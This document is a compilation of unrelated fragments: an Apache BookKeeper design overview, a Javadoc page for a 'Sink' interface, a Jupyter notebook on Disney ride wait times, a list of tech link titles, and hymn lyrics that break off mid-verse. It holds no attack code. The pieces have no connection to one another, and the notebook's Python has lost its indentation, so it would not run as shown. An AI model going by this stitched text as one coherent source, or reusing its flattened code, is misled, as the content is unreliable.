BookKeeper overview
BookKeeper overview
BookKeeper introduction
BookKeeper is a replicated service to reliably log streams of records. In BookKeeper, servers are "bookies", log streams are "ledgers", and each unit of a log (aka record) is a "ledger entry". BookKeeper is designed to be reliable; bookies, the servers that store ledgers, can crash, corrupt data, discard data, but as long as there are enough bookies behaving correctly the service as a whole behaves correctly.
The initial motivation for BookKeeper comes from the namenode of HDFS. Namenodes have to log operations in a reliable fashion so that recovery is possible in the case of crashes. We have found the applications for BookKeeper extend far beyond HDFS, however. Essentially, any application that requires an append storage can replace their implementations with BookKeeper. BookKeeper has the advantage of scaling throughput with the number of servers.
At a high level, a bookkeeper client receives entries from a client application and stores it to sets of bookies, and there are a few advantages in having such a service:
-
We can use hardware that is optimized for such a service. We currently believe that such a system has to be optimized only for disk I/O;
-
We can have a pool of servers implementing such a log system, and shared among a number of servers;
-
We can have a higher degree of replication with such a pool, which makes sense if the hardware necessary for it is cheaper compared to the one the application uses.
In slightly more detail...
BookKeeper implements highly available logs, and it has been designed with write-ahead logging in mind. Besides high availability due to the replicated nature of the service, it provides high throughput due to striping. As we write entries in a subset of bookies of an ensemble and rotate writes across available quorums, we are able to increase throughput with the number of servers for both reads and writes. Scalability is a property that is possible to achieve in this case due to the use of quorums. Other replication techniques, such as state-machine replication, do not enable such a property.
An application first creates a ledger before writing to bookies through a local BookKeeper client instance. Upon creating a ledger, a BookKeeper client writes metadata about the ledger to ZooKeeper. Each ledger currently has a single writer. This writer has to execute a close ledger operation before any other client can read from it. If the writer of a ledger does not close a ledger properly because, for example, it has crashed before having the opportunity of closing the ledger, then the next client that tries to open a ledger executes a procedure to recover it. As closing a ledger consists essentially of writing the last entry written to a ledger to ZooKeeper, the recovery procedure simply finds the last entry written correctly and writes it to ZooKeeper.
Note that currently this recovery procedure is executed automatically upon trying to open a ledger and no explicit action is necessary. Although two clients may try to recover a ledger concurrently, only one will succeed, the first one that is able to create the close znode for the ledger.
Bookkeeper elements and concepts
BookKeeper uses four basic elements:
-
Ledger: A ledger is a sequence of entries, and each entry is a sequence of bytes. Entries are written sequentially to a ledger and at most once. Consequently, ledgers have an append-only semantics;
-
BookKeeper client: A client runs along with a BookKeeper application, and it enables applications to execute operations on ledgers, such as creating a ledger and writing to it;
-
Bookie: A bookie is a BookKeeper storage server. Bookies store the content of ledgers. For any given ledger L, we call an ensemble the group of bookies storing the content of L. For performance, we store on each bookie of an ensemble only a fragment of a ledger. That is, we stripe when writing entries to a ledger such that each entry is written to sub-group of bookies of the ensemble.
-
Metadata storage service: BookKeeper requires a metadata storage service to store information related to ledgers and available bookies. We currently use ZooKeeper for such a task.
Bookkeeper initial design
A set of bookies implements BookKeeper, and we use a quorum-based protocol to replicate data across the bookies. There are basically two operations to an existing ledger: read and append. Here is the complete API list (mode detail here):
-
Create ledger: creates a new empty ledger;
-
Open ledger: opens an existing ledger for reading;
-
Add entry: adds a record to a ledger either synchronously or asynchronously;
-
Read entries: reads a sequence of entries from a ledger either synchronously or asynchronously
There is only a single client that can write to a ledger. Once that ledger is closed or the client fails, no more entries can be added. (We take advantage of this behavior to provide our strong guarantees.) There will not be gaps in the ledger. Fingers get broken, people get roughed up or end up in prison when books are manipulated, so there is no deleting or changing of entries.
| BookKeeper Overview |
A simple use of BooKeeper is to implement a write-ahead transaction log. A server maintains an in-memory data structure (with periodic snapshots for example) and logs changes to that structure before it applies the change. The application server creates a ledger at startup and store the ledger id and password in a well known place (ZooKeeper maybe). When it needs to make a change, the server adds an entry with the change information to a ledger and apply the change when BookKeeper adds the entry successfully. The server can even use asyncAddEntry to queue up many changes for high change throughput. BooKeeper meticulously logs the changes in order and call the completion functions in order.
When the application server dies, a backup server will come online, get the last snapshot and then it will open the ledger of the old server and read all the entries from the time the snapshot was taken. (Since it doesn't know the last entry number it will use MAX_INTEGER). Once all the entries have been processed, it will close the ledger and start a new one for its use.
A client library takes care of communicating with bookies and managing entry numbers. An entry has the following fields:
| Field | Type | Description |
|---|---|---|
| Ledger number | long | The id of the ledger of this entry |
| Entry number | long | The id of this entry |
| last confirmed (LC) | long | id of the last recorded entry |
| data | byte[] | the entry data (supplied by application) |
| authentication code | byte[] | Message authentication code that includes all other fields of the entry |
The client library generates a ledger entry. None of the fields are modified by the bookies and only the first three fields are interpreted by the bookies.
To add to a ledger, the client generates the entry above using the ledger number. The entry number will be one more than the last entry generated. The LC field contains the last entry that has been successfully recorded by BookKeeper. If the client writes entries one at a time, LC is the last entry id. But, if the client is using asyncAddEntry, there may be many entries in flight. An entry is considered recorded when both of the following conditions are met:
-
the entry has been accepted by a quorum of bookies
-
all entries with a lower entry id have been accepted by a quorum of bookies
LC seems mysterious right now, but it is too early to explain how we use it; just smile and move on.
Once all the other fields have been field in, the client generates an authentication code with all of the previous fields. The entry is then sent to a quorum of bookies to be recorded. Any failures will result in the entry being sent to a new quorum of bookies.
To read, the client library initially contacts a bookie and starts requesting entries. If an entry is missing or invalid (a bad MAC for example), the client will make a request to a different bookie. By using quorum writes, as long as enough bookies are up we are guaranteed to eventually be able to read an entry.
Bookkeeper metadata management
There are some meta data that needs to be made available to BookKeeper clients:
-
The available bookies;
-
The list of ledgers;
-
The list of bookies that have been used for a given ledger;
-
The last entry of a ledger;
We maintain this information in ZooKeeper. Bookies use ephemeral nodes to indicate their availability. Clients use znodes to track ledger creation and deletion and also to know the end of the ledger and the bookies that were used to store the ledger. Bookies also watch the ledger list so that they can cleanup ledgers that get deleted.
Closing out ledgers
The process of closing out the ledger and finding the last ledger is difficult due to the durability guarantees of BookKeeper:
-
If an entry has been successfully recorded, it must be readable.
-
If an entry is read once, it must always be available to be read.
If the ledger was closed gracefully, ZooKeeper will have the last entry and everything will work well. But, if the BookKeeper client that was writing the ledger dies, there is some recovery that needs to take place.
The problematic entries are the ones at the end of the ledger. There can be entries in flight when a BookKeeper client dies. If the entry only gets to one bookie, the entry should not be readable since the entry will disappear if that bookie fails. If the entry is only on one bookie, that doesn't mean that the entry has not been recorded successfully; the other bookies that recorded the entry might have failed.
The trick to making everything work is to have a correct idea of a last entry. We do it in roughly three steps:
-
Find the entry with the highest last recorded entry, LC;
-
Find the highest consecutively recorded entry, LR;
-
Make sure that all entries between LC and LR are on a quorum of bookies;


|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
public interface Sink<T>
Accepts incoming objects and enqueues them for a SEDA stage to process.
| Method Summary | |
|---|---|
void |
accept(T t)
Accepts an object for further processing |
T |
checkOut()
Requests an object to work on from the sink. |
void |
reportFailure(T processedObject,
Throwable t)
Reports that an object could not be processed |
void |
reportSuccess(T processedObject)
Reports that an object was processed successfully |
| Method Detail |
|---|
void accept(T t)
T checkOut()
void reportSuccess(T processedObject)
void reportFailure(T processedObject, @Nullable Throwable t)
|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


import sys
import pandas as pd
import numpy as np
from datetime import datetime
import matplotlib.pyplot as plt
%matplotlib inline
import seaborn as sns
RideWaits = pd.read_csv("******/DisneyWaits/src/disneyWaitTimes.csv")
This Jupyter notebook will serve as some exploratory analysis amongst wait times to gain any introductory information as to the relationship between wait times and other categories. This will also prove as a place to show the transformations that the data frame will undergo to gain some of the other wanted features that I believe to be useful in this exercise.
RideWaits.head()
RideWaits["RideId"] = pd.Categorical(RideWaits["RideId"]).codes
RideWaits["Status"] = pd.Categorical(RideWaits["Status"]).codes
RideWaits["ParkId"] = pd.Categorical(RideWaits["ParkId"])
RideWaits["Tier"] = pd.Categorical(RideWaits["Tier"])
RideWaits["ParkName"] = pd.Categorical(RideWaits["ParkName"])
RideWaits["IntellectualProp"] = pd.Categorical(RideWaits["IntellectualProp"])
RideWaits["Date"] = pd.to_datetime(RideWaits["Date"], infer_datetime_format = True)
RideWaits["OpeningDate"] = pd.to_datetime(RideWaits["OpeningDate"], infer_datetime_format = True)
RideWaits["Time"] = pd.to_datetime(RideWaits["Time"], format = '%H:%M').dt.time
RideWaits["ParkOpen"] = pd.to_datetime(RideWaits["ParkOpen"], format = '%I:%M %p').dt.strftime('%H:%M')
RideWaits["ParkOpen"] = pd.to_datetime(RideWaits["ParkOpen"], format = '%H:%M').dt.time
RideWaits["ParkClose"] = pd.to_datetime(RideWaits["ParkClose"], format = '%I:%M %p').dt.strftime('%H:%M')
RideWaits["ParkClose"] = pd.to_datetime(RideWaits["ParkClose"], format = '%H:%M').dt.time
RideWaits["DayOfWeek"] = [datetime.weekday(x) for x in RideWaits["Date"]]
RideWaits["EMHOpen"] = pd.to_datetime(RideWaits["EMHOpen"], format = '%I:%M %p', errors = 'coerce').dt.strftime('%H:%M')
RideWaits["EMHClose"] = pd.to_datetime(RideWaits["EMHClose"], format = '%I:%M %p', errors = 'coerce').dt.strftime('%H:%M')
RideWaits["EMHOpen"] = pd.to_datetime(RideWaits["EMHOpen"], format = '%H:%M', errors = 'coerce').dt.time
RideWaits["EMHClose"] = pd.to_datetime(RideWaits["EMHClose"], format = '%H:%M', errors = 'coerce').dt.time
RideWaits["Weekend"] = [0 if x == 0 or x == 1 or x ==2 or x==3 or x==4 else 1 for x in RideWaits["DayOfWeek"]]
RideWaits["Weekend"].value_counts()
RideWaits["CharacterExperience"] = [1 if "Meet" in x else 0 for x in RideWaits["Name"]]
The transformations above get the data ready for analysis, however there may exist some times outside of our viable windows. This next loop should remove all those times, as well as let us know if a time is in Extra Magic hours or not.
validTime = []
inEMH = []
emhDay = []
timeSinceStart = []
timeSinceMidDay = []
magicHourType = []
for index, row in RideWaits.iterrows():
tempTime = datetime.now()
cTime = row["Time"]
pOpen = row["ParkOpen"]
pClose = row["ParkClose"]
currentParkTime = tempTime.replace(hour = cTime.hour, minute = cTime.minute, second = 0, microsecond = 0)
parkOpen = tempTime.replace(hour = pOpen.hour, minute = pOpen.minute, second = 0, microsecond = 0)
parkClose = tempTime.replace(hour = pClose.hour, minute = pClose.minute, second = 0, microsecond = 0)
if parkClose < parkOpen:
parkClose = parkClose.replace(day = parkClose.day + 1)
if (pd.isnull(row["EMHOpen"])== False) & (pd.isnull(row["EMHClose"]) == False):
eOpen = row["EMHOpen"]
eClose = row["EMHClose"]
emhOpen = tempTime.replace(hour = eOpen.hour, minute = eOpen.minute, second = 0, microsecond = 0)
emhClose = tempTime.replace(hour = eClose.hour, minute = eClose.minute, second = 0, microsecond = 0)
if emhClose < emhOpen:
emhClose = emhClose.replace(day = emhClose.day + 1)
emh = "ok"
emhDay.append(1)
if emhClose.hour == parkOpen.hour:
magicHourType.append("Morning")
else:
magicHourType.append("Night")
else:
emh = "none"
emhDay.append(0)
magicHourType.append("None")
if (currentParkTime < parkClose) & (currentParkTime > parkOpen):
#print("Current Time is: " + str(currentParkTime) + " and ParkHours are "+ str(parkOpen) +" to " + str(parkClose) + " " +str(validtime))
tSinceOpen = cTime.hour - parkOpen.hour
tSinceMidDay = abs(cTime.hour - 14)
if cTime.hour < parkOpen.hour:
tSinceOpen = cTime.hour + 24 - parkOpen.hour
tSinceMidDay = abs(cTime.hour - 14 + 24)
validTime.append(1)
inEMH.append(0)
else:
if (emh == "ok") & ((currentParkTime < emhClose) & (currentParkTime > emhOpen)):
validTime.append(1)
inEMH.append(1)
if (emhClose.hour == parkOpen.hour):
tSinceOpen = cTime.hour - emhOpen.hour
tSinceMidDay = abs(cTime.hour - 14)
else:
if cTime.hour < parkOpen.hour:
tSinceOpen = cTime.hour + 24 - parkOpen.hour
tSinceMidDay = abs(cTime.hour - 14 + 24)
else:
tSinceOpen = cTime.hour - parkOpen.hour
tSinceMidDay = abs(cTime.hour - 14)
else:
validTime.append(0)
inEMH.append(0)
timeSinceStart.append(tSinceOpen)
timeSinceMidDay.append(tSinceMidDay)
RideWaits["inEMH"] = inEMH
RideWaits["validTime"] = validTime
RideWaits["EMHDay"] = emhDay
RideWaits["TimeSinceOpen"] = timeSinceStart
RideWaits["TimeSinceMidday"] = timeSinceMidDay
RideWaits["MagicHourType"] = magicHourType
RideWaits = RideWaits[RideWaits["validTime"] == 1]
#RideWaits["Month"] = RideWaits["Date"].dt.month
RideWaits["TimeSinceRideOpen"] = (RideWaits["Date"] - RideWaits["OpeningDate"]).dt.days
The features above are generally transformations of the data with the exception of Day of the Week where that is extracted from the date object.
In this section we will explore the relationship directly to different group categories as shown below.
RideWaits["Wait"].describe()
RideWaits["DayOfWeek"].value_counts()
RideWaits.groupby('DayOfWeek')['Wait'].mean()
fig,ax= plt.subplots(figsize = (20,10))
RideWaits.groupby('DayOfWeek')['Wait'].mean().plot(ax = ax)
plt.show()
plt.subplots(figsize = (20,10))
ax = sns.boxplot(x = "DayOfWeek", y = "Wait", data = RideWaits)
plt.show()
RideWaits.groupby('Name')['Wait'].mean()
This extremely large data frame may not be particularly useful by itself. We'll dive into these figures in another cell later on.
fig,ax= plt.subplots(figsize = (20,10))
RideWaits.groupby('Time')['Wait'].mean().plot(ax = ax)
plt.show()
We see that the wait time follows a general curve through the day, signaling that time of day is a huge factor in the wait times at the park. The wait time increases to a point, roughly 14:00, then decreases from that point to the end of the day. It mirrors a y = -|x| situation. We can attempt to recreate this by creating a value that emulates the time since midday, signaling midday as 14:00.
RideWaits.corr()["Wait"]["TimeSinceMidday"]
RideWaits.plot(x = "TimeSinceMidday", y = "Wait", kind = "scatter")
It's generally hard to see if there is any sort of trend with every single point. If we group by the number of hours since midday perhaps we can see a general trend.
fig,ax= plt.subplots(figsize = (20,10))
RideWaits.groupby('TimeSinceMidday')['Wait'].mean().plot(ax = ax)
plt.show()
RideWaits.groupby('TimeSinceMidday')['Wait'].describe()
As suspected, the wait time decreases as the time moves away from the midpoint of the day.
RideWaits.groupby('ParkName')['Wait'].describe()
plt.subplots(figsize = (20,10))
ax = sns.boxplot(x = "ParkName", y = "Wait", data = RideWaits)
plt.show()
We see quickly from this box and whisker plot as well as with the described data frame above that Epcot and Hollywood studios have nearly identical wait times, Animal Kingdom has the largest Interquartile range and the highest mean. This may be due to the addition of two new rides that have been recently experiencing some dramatically high wait times. This leads me to believe that 'newness' of ride contributes to wait time. This leads to that being an engineered feature later on.
from scipy import stats
t,p = stats.ttest_ind(RideWaits["Wait"], RideWaits[RideWaits["ParkName"]=="Animal Kingdom"]["Wait"])
print(t, p)
This means that a ride in Animal kingdom will have a greater mean wait time than an average ride in Walt Disney World. This is most likely due to the addition of Pandora.
rideSummaryStats = RideWaits.groupby('Name')['Wait'].describe()
rideSummaryStats.head(15)
RideWaits.groupby('Tier')['Wait'].describe()
plt.subplots(figsize = (20,10))
ax = sns.boxplot(x = "Tier", y = "Wait", data = RideWaits)
plt.show()
This follows mostly what our preconceived notions would be: Super headliner attractions dominate the wait times followed by headlines. This leads to wanting inspect the data some more to understand what differentiates between headliner and major attraction or major attraction and minor attraction as those two have nearly identical wait times.
RideWaits.groupby('EMHDay')['Wait'].describe()
plt.subplots(figsize = (20,10))
ax = sns.boxplot(x = "EMHDay", y = "Wait", data = RideWaits)
plt.show()
t, p = stats.ttest_ind(RideWaits[RideWaits["EMHDay"] == 0]["Wait"], RideWaits[RideWaits["EMHDay"]==1]["Wait"])
print(t)
print(p)
The working assumption in most Disney Park planning sites is that if you don't need to go to a park when it has extra magic hours, don't because it will be more packed. We see that there is statistical significance in the difference and can say with confidence that Extra Magic hours increase the wait time.
RideWaits.groupby('inEMH')['Wait'].describe()
plt.subplots(figsize = (20,10))
ax = sns.boxplot(x = "inEMH", y = "Wait", data = RideWaits)
plt.show()
t, p = stats.ttest_ind(RideWaits[RideWaits["inEMH"] == 0]["Wait"], RideWaits[RideWaits["inEMH"]==1]["Wait"])
print(t)
print(p)
Again this goes with typical thought. If you ride attractions during extra magic hours, you will be subject to lower wait times than those outsie of extra magic hours. We see a difference of wait time by 14 minutes. We see that our p value is significantly small, much below our threshold. We can say with statistical significance that the mean wait time while in extra magic hours is lower than outside of extra magic hours.
RideWaits.groupby('MagicHourType')['Wait'].describe()
plt.subplots(figsize = (20,10))
ax = sns.boxplot(x = "MagicHourType", y = "Wait", data = RideWaits)
plt.show()
Below we have some plots that show all the rides grouped by park. First the wait average wait times by ride and time slot are shown, followed by the average wait times by tier and time slot.
fig,ax = plt.subplots(figsize = (20,10))
RideWaits.groupby(['Time','ParkName'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
fig,ax = plt.subplots(figsize = (20,10))
RideWaits.groupby(['TimeSinceOpen','ParkName'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
By normalizing across the parks for 'TimeSinceOpen' we get ride of some of the noise potentially associated with minor fluctuations per 15 minutes as well as different opening times across the parks. We also see a single spike in Magic Kingdom times before park open, that is clearly associated with a high popularity ride being open during Extra Magic Hours.
fig,ax = plt.subplots(figsize = (20,10))
RideWaits[RideWaits["ParkName"]=="Magic Kingdom"].groupby(['Time','Name'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
fig,ax = plt.subplots(figsize = (20,10))
RideWaits[RideWaits["ParkName"]=="EpCot"].groupby(['Time','Name'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
fig,ax = plt.subplots(figsize = (20,10))
RideWaits[RideWaits["ParkName"]=="Hollywood Studios"].groupby(['Time','Name'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
fig,ax = plt.subplots(figsize = (20,10))
RideWaits[RideWaits["ParkName"]=="Animal Kingdom"].groupby(['Time','Name'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
fig,ax = plt.subplots(figsize = (20,10))
RideWaits[RideWaits["ParkName"]=="Magic Kingdom"].groupby(['Time','Tier'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
fig,ax = plt.subplots(figsize = (20,10))
RideWaits[RideWaits["ParkName"]=="EpCot"].groupby(['Time','Tier'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
fig,ax = plt.subplots(figsize = (20,10))
RideWaits[RideWaits["ParkName"]=="Hollywood Studios"].groupby(['Time','Tier'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
fig,ax = plt.subplots(figsize = (20,10))
RideWaits[RideWaits["ParkName"]=="Animal Kingdom"].groupby(['Time','Tier'])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
rideSummaryStats = rideSummaryStats.sort_values(by = ['mean'], ascending = False)
topWaits = rideSummaryStats.iloc[:10]
topWaits
We can investigate these high wait time rides and see what commonalities they share.
topRides = RideWaits[RideWaits["Name"].isin(topWaits.index)]
information = topRides.groupby(['Name','ParkName','OpeningDate']).size().reset_index()
information
information["ParkName"].value_counts()
We see that the majority of our rides with long waits, 7 of the 10 are either in Magic Kingdom or Animal Kingdom. The Animal Kingdom Rides are the relatively new Avatar Rides in addition to The Kilimanjaro Safaris. Only Two of these rides I would consider as legacy experiences with Peter Pans Flight and Space Mountain. The opening dates of so many of these rides being after 1995 urges the inclusion of a feature that captures the time since the opening of the ride.
RideWaits.corr()["Wait"]["TimeSinceRideOpen"]
We see that there is a negative correlation which is what we expect here, as the novelty of a ride wears off, the wait should go down. However this doesn't capture if a ride is a classic, or if it was open the day the park first opened.
fig,ax = plt.subplots(figsize = (20,10))
topRides.groupby(["Time","Name"])['Wait'].mean().unstack().plot(ax = ax)
plt.show()
The first thing that sticks out in this graph is the solid line that represents the character experience of Cinderella and other Princesses. Perhaps there should a feature that incorporates whether the experience is a character experience or not. Or, more generally, to what branch of IP (intellectual property) does this experience belong? This would help answer the question if rides associated with Princesses tend to have longer waits than rides that do not have a specific associated property image, like Jungle Cruise or the Haunted Mansion.
Up until this point we have analyzed rides without a consideration towards the weather at the time. Orlando has common surprise thunderstorms that may drop wait times as people rush indoors, or it may suddenly increase wait times towards dark rides to avoid the outside. These are things we can look at in principal, then later when they are incorporated into a machine learning model.
RideWaits["Status"].value_counts()
RideWaits.groupby('Status')["Wait"].describe()
Initially we have had no conditions with rain, so we can't analyze if rain is or is not having an effect. We see, though that fog does have some effect, however fog mainly only occurs in the morning so that may be more a time constraint than directly related to fog.
RideWaits.groupby('SimpleStatus')["Wait"].describe()
We also have a simpler status to be able to group some weather statuses more easily. We see here again that Fog is the only substantial difference, but again is this due to morning hours or the fog.
We should now look at the temperature to see if there is any correlation between temperature and wait times.
RideWaits.plot(x = "Temperature", y = "Wait", kind = "scatter")
RideWaits.corr()["Wait"]["Temperature"]
fig,ax= plt.subplots(figsize = (20,10))
RideWaits.groupby('Temperature')['Wait'].mean().plot(ax = ax)
plt.show()
We see almost the reverse effect we would expect to see with Temperature. I would anticipate that heat would cause people to leave the parks, but, since heat occurs in the middle of the day when the parks are most busy we see that this is presenting itself as a positive correlation, albeit not a strong one, between wait time and temperature. This again leads me to want to capture if a ride is outdoors or a dark ride, as well as whether the queue is outdoors or indoors.
These all lead to an understanding that Time of Day may be the most important factor in generalizing a wait time, in addition to the specific ride.
It may be easier to view Temperature as a daily high and the average wait time that day, as we can isolate temperature from the time of day considerations and pair all other aspects, such as day of week. This way the comparison will be more apples to apples and we can remove for potentially confounding variables.
Disney owns a vast array of different Intellectual property that certain rides take advantage of. This is seen with the upcoming additions of Star Wars Land and Toy Story Land. The thought is that certain IP create very popular rides and will increase wait times.
RideWaits.groupby('IntellectualProp')["Wait"].describe()
plt.subplots(figsize = (20,10))
ax = sns.boxplot(x = "IntellectualProp", y = "Wait", data = RideWaits)
plt.show()
This doesn't tell much of a story. It's hard to tell if the Intellectual property is causing Avatar to have such high wait times, or is it the tier of the ride, or is it the newness of those rides. All of these factors may be playing a part in the high wait times associated with Avatar related properties.
Character experiences are another type of experience that may effect wait times. Most are devoted to showing off Disney's favorite characters and because of this the wait times for these attractions will tend to soar.
RideWaits.groupby('CharacterExperience')["Wait"].describe()
RideWaits[RideWaits["CharacterExperience"] == 1]["Name"].unique()
plt.subplots(figsize = (20,10))
ax = sns.boxplot(x = "CharacterExperience", y = "Wait", data = RideWaits)
plt.show()
t, p = stats.ttest_ind(RideWaits[RideWaits["CharacterExperience"] == 0]["Wait"], RideWaits[RideWaits["CharacterExperience"]==1]["Wait"])
print(t)
print(p)
Again there is statistical Significance to suggest that a character experience has a longer wait time than a non character experience, leading us to believe that this would be an important aspect to include in a model.


VB Casing behavior difference between VS 2013 and Roslyn · Issue #2909 · dotnet/roslyn [A customer reports in DevDiv 1172900] I have a solution that I can build in VS 2013 without any problem. However, when I try and build the same solution in VS 2015 it will not compile. I'm not...
Snips and Seeed- Voice Interaction Development Kits Snips Voice Interaction Development Kits are infinitely hackable, open source and private by design combining latest Seeed hardware with the Snips AI Voice Platform, powered by a Raspberry Pi.
Proposal: Extension await operator to address scoped ConfigureAwait · Issue #2649 · dotnet/csharplang Library developers are often frustrated at needing to use .ConfigureAwait(false) on all of their awaits, and this has led to numerous proposals for assembly-level configuration, e.g. #645, #2542. T...
“With great power comes great responsibility…” Eric Sink just put up an entry that could easily be subtitled “why I think Edit and Continue is a bad idea.” Although he’s just good naturedly razzing VS in general, his descripti…
Block Breakers This page is here to teach you about block cipher cryptanalysis. It does not pretend to be an exhaustive list of attacks, but will give you enough to get started.
What's Deno, and how is it different from Node.js? - LogRocket Blog Node.js is a great server-side JavaScript runtime, but it has inherent issues. Learn what Deno is and how it aims to fix the deficiencies in Node.
Languages & Runtime: .NET Community Standup - July 11th 2019 Join members from the .NET teams for our community standup covering great community contributions for Framework, .NET Core, Languages, CLI, MSBuild, and more.
ASP.NET Core, Beyond HTTP ASP.NET Core is evolving beyond web applications and APIs to embrace new app models including real-time, gRPC, and service workers, while continuing to leverage all the goodness you enjoy today in the stack. Our goal is to enable you to build distributed,...
Benchmarks are hard · jbd.dev Benchmarking generally mean producing some measurements from a specific program or workload to typically understand and compare the performance characteristics of the benchmarked workload.
Announcing XAML Hot Reload for Xamarin.Forms | Xamarin Blog XAML Hot Reload for Xamarin.Forms speeds up your development and makes it easier to build, experiment, and iterate on your user interface.
TSP with GeneticSharp and Blazor In this post I will show how to use GeneticSharp and Blazor to solve the TSP (Travelling salesman problem). Introduction
Hack to the Future - Troy Hunt Infosec is a continual game of one-upmanship; we build a defence and someone breaks it so we build another one then they break that and the cycle continues. Because of this, the security controls we have at our disposal are rapidly changing and the ones w...
ISPA withdraws Mozilla Internet Villain Nomination and Category » News, Press Releases | The Internet Service Providers Association Posted on 9th July 2019
Third parties confirm AMD’s outstanding Ryzen 3000 numbers AMD has pulled ahead of Intel for the first time in 20 years.
.NET | Free. Cross-platform. Open Source. .NET is a developer platform with tools and libraries for building any type of app, including web, mobile, desktop, gaming, IoT, cloud, and microservices.
1840 - Loading issue... - Monorail View in the old UI About Monorail User Guide Release Notes Feedback on Monorail Terms Privacy


SELECTED HYMNS
102 — 146
Hymns
102 — 109
SPIRIT AND LIFE
SEL. 102
1. The age has turned,
Our Lord the age has turned,
The age has turned,
Our Lord the age has turned,
From outward letters, doctrines,
forms to spirit has turned.
Oh, our Lord has turned, has turned,
has turned the age!
Oh, turn brothers! Oh, turn sisters!
Turn the age, with the Lord!
(Glory! Hallelujah!)
Turn into the spirit,
make a thorough turning,
Oh, turn, with the Lord, turn.
2. Move with the Lord!
Move forward with the Lord!
Move with the Lord!
Move forward with the Lord!
Into the spirit we will turn
and move with the Lord.
We'll move forward, forward,
forward with the Lord.
Forward, brothers! Forward, sisters!
Move forward with the Lord
(Glory! Hallelujah!)
Into glory with Him,
in the spirit we'll move,
Ever moving forward!
SPIRIT AND LIFE
SEL. 105 (TS-109)
1. Th' anointing's here! The Lord is moving now in us;
The ointment dear to us has been applied.
His blood prevails! It gives to us the fellowship,
And now we have the living flow of life.
Th' anointing's here! O Christian brothers,
Th' anointing's here! We have believed.
Within our spirit, the Spirit's moving,
And this from Him we have received.
Th' anointing's here! O Christian sisters,
The flow within will never cease.
As He anoints us, we are abiding—
O Hallelujah! Life and peace!
2. Th' anointing's here! 'Tis God Himself that blends with us,
And now the two are mingled into one.
And hour by hour we live, and move, and have our life
In God Himself — the Spirit through the Son.
Th' anointing's here! O Christian brothers,
Th' anointing's here! We have believed.
Within our spirit, the Spirit's moving,
And this from Him we have received.
Th' anointing's here! O Christian sisters,
The flow within will never cease.
As He anoints us, we are abiding—
O Hallelujah! Life and peace!
3. Th' anointing's here! It teaches us in everything;
The sense of life we always have within.
Obey this sense, and you will know what you must do,
And live by Life — Yes, clear in everything.
Th' anointing's here! O Christian brothers,
Th' anointing's here! We have believed.
Within our spirit, the Spirit's moving,
And this from Him we have received.
Th' anointing's here! O Christian sisters,
The flow within will never cease.
As He anoints us, we are abiding—
O Hallelujah! Life and peace!
SPIRIT AND LIFE
SEL. 106 (TS-110)
1. In the Word of God I found it,
Wonderful this Word to me;
I need not man's natural teaching,
The anointing lives in me!
Yes, in my spirit now He is moving!
Yes, I have the anointing!
God in me is flowing!
Thank God I see it!
His Word revealed it!
I will apply it ever!
The anointing lives in me!
2. Making Christ experiential,
God at His pure Word I take;
As the Spirit joined unto me,
He cannot His promise break.
Yes, in my spirit now He is moving!
Yes, I have the anointing!
God in me is flowing!
Thank God I see it!
His Word revealed it!
I will apply it ever!
The anointing lives in me!
3. Based upon the blood that cleanses
So that nothing stands between,
Christ, the ointment, moves within me!
For His move I'm made so clean.
Yes, in my spirit now He is moving!
Yes, I have the anointing!
God in me is flowing!
Thank God I see it!
His Word revealed it!
I will apply it ever!
The anointing lives in me!
4. God in Christ as life in Spirit
Into my own spirit came!
He the Holy One anoints me
Till in spirit we're the same.
Yes, in my spirit now He is moving!
Yes, I have the anointing!
God in me is flowing!
Thank God I see it!
His Word revealed it!
I will apply it ever!
The anointing lives in me!
5. God in Spirit; I can touch Him;
In my spirit He's the flow.
Deeper, wider, richer, fuller—
Oh, the very God I know!
Yes, in my spirit now He is moving!
Yes, I have the anointing!
God in me is flowing!
Thank God I see it!
His Word revealed it!
I will apply it ever!
The anointing lives in me!
6. As I heed "that same anointing"
Ever to "abide in Him,"
He is teaching, He is reaching,
Even all my heart to win.
Yes, in my spirit now He is moving!
Yes, I have the anointing!
God in me is flowing!
Thank God I see it!
His Word revealed it!
I will apply it ever!
The anointing lives in me!
SPIRIT AND LIFE
SEL. 107
1. By the anointing, Jesus breaks the yoke;
Inscribes His laws upon our hearts,
Just as the prophets spoke.
This is the Lord's new covenant,
God is working inside of men,
And the anointing shall break the yoke.
2. By the anointing, Jesus breaks the yoke;
Inscribes His laws upon our hearts,
Just as the prophets spoke.
This is the Lord's new covenant,
Christ is living inside of men,
And the anointing shall break the yoke.
3. By the anointing, Jesus breaks the yoke;
Inscribes His laws upon our hearts,
Just as the prophets spoke.
This is the Lord's new covenant,
The Spirit's moving inside of men,
And the anointing shall break the yoke.
SPIRIT AND LIFE
SEL. 108
1. From my spirit, when I'm sensing the supply
Of God's speaking, from a fount that ne'er runs dry,
And within me comes a fresh and sweet supply,
Then I've got to open up and water you.
Water you, water you
From the flowing in my spirit water you;
When the saints need my supply,
Then I'll surely testify,
I'll stand up, release my Christ and water you!
2. In the meeting, when my spirit's rising high,
And it seems like we will go beyond the sky—
I can't help it, I must speak or else I'll die,
For my Christ is rising up to water you.
Water you, water you
From the flowing in my spirit water you;
When the saints need my supply,
Then I'll surely testify,
I'll stand up, release my Christ and water you!
3. Should a pause come, or the meeting ebb real low,
While within me there's a rich and living flow,
Then I'll stand up, so that all the saints will know,
That I'm here to share my Christ and water you.
Water you, water you
From the flowing in my spirit water you;
When the saints need my supply,
Then I'll surely testify,
I'll stand up, release my Christ and water you!
4. In the church life, in our daily living too,
In the meeting, and in everything we do,
Christ is speaking and the Spirit's breaking through,
That is why there's the supply to water you.
Water you, water you
From the flowing in my spirit water you;
When the saints need my supply,
Then I'll surely testify,
